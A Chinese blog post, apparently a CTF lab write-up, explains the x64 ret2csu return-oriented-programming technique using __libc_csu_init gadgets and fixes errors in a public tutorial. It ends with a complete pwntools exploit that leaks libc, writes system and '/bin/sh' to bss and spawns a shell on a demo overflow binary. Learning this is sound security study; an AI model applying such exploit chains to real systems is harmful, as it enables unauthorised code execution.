0%

关于ROP利用之__lib_csu_init的一些问题

ROP有许多的奇技淫巧,其中一个就是ret2csu。本文记录一下关于利用__lib_csu_init中的两段通用gadget来实现linux x64 ROP的原理,以及实现时遇到的一些问题。说来也巧,最近参考的网上的资料怎么总有问题,之前是Rootkit,现在ROP也是,一调试就是半天无了,有点蛋疼。

ROP技术

常规ROP

ROP的话,需要看此文的人应该都已经知道了,大致概括下常规的ROP方式,有下面几个:

  • ret2text
    • 最简单的就是将溢出的返回地址设置为程序中已有的函数地址执行,二进制程序中如果已经包含我们需要功能的函数就直接用就好了。
  • ret2shellcode
    • 当二进制程序中不包含我们需要的功能代码时,通过给定的读入数据(read函数)函数注入shellcode到内存,然后将返回地址设置到对应位置开始执行即可。
  • ret2system
    • 如果程序使用了system,便可以直接利用system的plt表地址调用system,然后构造栈放入“/bin/bash”地址参数即可起一个shell。
  • ret2libc
    • 通过泄露一个libc内的函数地址,搜索libc版本并根据偏移计算system地址,转为ret2system
    • 搜索libc版本可以成功在于库随机化和栈随机化的粒度为0x1000,也就是说其低12位其实是不会随着aslr开启而发生改变的,利用这低12位就可以对libc版本进行推测。

其他ROP方式

当然,除了上面讲的那些常规方式,剩下的就是一些(是很多很多)骚操作了,其中最主要的有下面几个

  • ret2csu
    • 利用__lib_csu_init实现ROP
  • ret2reg
    • 通过查找call reg 或者 jmp reg指令,让reg指向溢出的空间,调用这些指令进行ROP
  • ret2_dl_runtime_resolve
    • 利用延迟绑定使用的函数dl_runtime_resolve来进行ROP
  • 其他的
    • 注入BROP,SROP等等就太复杂了,这些分给你我点了。

本文主要关注点在于ret2csu,我参考的是ctf-wiki的这部分觉得没啥的,不过调试的时候直接给我一天干没了,这个博客写的还是有点问题的,也许是我领悟力不够吧。

ret2csu

说问题之前先讲下ret2csu的原理。ret2csu中用到的核心部分其实是__lib_csu_init中的两段gadget。关于这个__lib_csu_init,本想看下它是干啥的,但查了下基本都在讲其中的gadget,甚至都查不到它为啥出现,这里我姑且猜一下,应该是调用main,也就是二进制程序进入main之前的过程中需要用到的一个函数(如果不是这样,也不一定会出现在二进制文件中是吧)。

首先需要明确,ret2csu是一种x64 linux中经常用到的ROP技术,先说一下x64架构下函数调用的传参规则。与x86不同,x64下传参优先在寄存器进行,参数1-6依次放入rdi,rsi,rdx,rcx,r8,r9,其他多出的参数压入栈中传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

上面是ctf-wiki给出的关于__lib_csu_init的汇编,可以看到后面部分(loc_400616开始)是一个完美的设置寄存器的gadget,也就是下面这部分

1
2
3
4
5
6
7
8
9
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

但是这部分虽然用栈值设置了很多寄存器,但是却没有参数寄存器,想调用还需要另一段的配合,就是它上面那段

1
2
3
4
5
6
7
8
9
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616

利用这两段gadget,我们可以通过栈上数据控制的寄存器有rbx,rbp,r12,r13,r14,r15,rdx,rsi,edi这些,对于ROP一般最多使用三个参数的情况足以。借助这两段gadget可以将栈上安排的数据传递至需要的寄存器,如下

  • 参数1:栈→r15→r15d→edi(看上去好像只能控制低32位,其实这时候rdi高位本就是0)
  • 参数2:栈→r14→rsi
  • 参数3:栈→r13→rdx

除此之外,第二段gadget后面的call qword ptr [r12+rbx*8]可以成功的实现一个函数调用过程,只需要把函数地址放入r12,再把rbx设置为0,之后将rbp设为1可以防止进入这个gadget的循环,可谓是一个完美的ROP gadget。

ret2csu 一些问题

前面这部分原理其实就是ctf-wiki界面所讲的,我只是理解后做了个转述。下面是针对其给出的demo在实验时的一个问题。给的demo结构很简单

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL); //←overflow
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

一个基本的read导致的栈溢出,难点在于既没有system,也没有”/bin/sh”,更没有栈可执行,这里采用ret2csu,明面上的惯性思路是

  • 泄露write地址查libc版本以及libc地址
  • 计算system地址,找libc中”/bin/sh”字符串地址做参数。
  • 跳转到它即可

上面思路第一个最明显的问题就在这儿,首先libc地址很高,所以搜索到的字符串地址必然是有高32位的,所以直接从libc拿/bin/sh是不可行的,需要将/bin/sh注入到内存使用,这里注入位置选bss段就行。

另一个问题就是我所说的这个教程的一点问题了,首先在ida下可以看到demo文件(github库里下的,如果是他人重编译的那我当场道歉)的__lib_csu_init很明显已经不一样了,变成了下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

问题所在loc_400606,传值给寄存器的方式已经不再是pop了,而采用了mov,这就导致了栈布局需要做微调。rbx作为第一个被传值的寄存器,其值现在不再位于栈顶了,而是位于栈顶向下的第二个8字节,这很重要,所以正确的payload的形式应该是下面这样

1
2
3
def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = flat(['a'*0x80,'b'*8,p64(csu_2_addr),'a'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'a'*0x38,p64(last)])
p.sendline(payload)

尽管通过调试解决了这个问题,另一个问题我还没有解决。整个流程中需要至少三次ret2csu过程

  • 执行write来泄露write地址
  • 读入/bin/sh
  • 执行system

根据上面定义的csu,三次的调用分别为

  • 泄露write地址
    • csu(0,1,write_got,1,write_got,8,main_addr)
  • 读入/bin/sh
    • csu(0,1,read_got,0,bss_base,16,main_addr)
  • 执行system(“/bin/sh”)
    • csu(0,1,libc_sys,bss_base,0,0,main_addr)

但是跑脚本的时候发现前两次都是正常执行,第三次会出现返回地址错误,目前还不清楚是为什么,之后再调试看看吧……

终于发现问题了,淦,这是call指令,不能直接给system地址,需要的是存放system地址的内存地址。这里需要把system地址和”/bin/sh”均读入bss段。

  • 泄露write地址
    • csu(0,1,write_got,1,write_got,8,main_addr)
  • 读入/bin/sh
    • csu(0,1,read_got,0,bss_base,16,main_addr)
  • 执行system(“/bin/sh”)
    • csu(0,1,bss_base,bss_base+8,0,0,main_addr)

以及第二次读入system地址和binsh字符串时多了个”\n”被第三次时的read读进去导致偏移多了一个字节,我去了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = process("./level5")
elf = ELF("./level5")

csu_1_addr = 0x00000000004005f0
csu_2_addr = 0x0000000000400606

write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = elf.symbols["main"]
bss_base = elf.bss()

def csu(rbx, rbp, r12, r13, r14, r15, last):
pld = ['a'*0x80,'b'*8,p64(csu_2_addr),'\x00'*8,p64(rbx),p64(rbp),p64(r12),p64(r13),p64(r14),p64(r15),p64(csu_1_addr),'\x00'*0x38,p64(last)]
payload = flat(pld)
p.sendline(payload)
p.recvuntil("World\n")
csu(0,1,write_got,1,write_got,8,main_addr)
sleep(1)

libc_write = u64(p.recv(8))
libc = LibcSearcher("write",libc_write)

libc_base = libc_write - libc.dump("write")

libc_sys = libc_base + libc.dump("system")

p.recvuntil("World\n")
csu(0,1,read_got,0,bss_base,16,main_addr)
sleep(1)
#pause()

p.send(flat([p64(libc_sys),'/bin/sh\x00']))
p.recvuntil('Hello, World\n')
csu(0,1,bss_base,bss_base+8,0,0,main_addr)
p.interactive()

完整脚本如上,题目如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}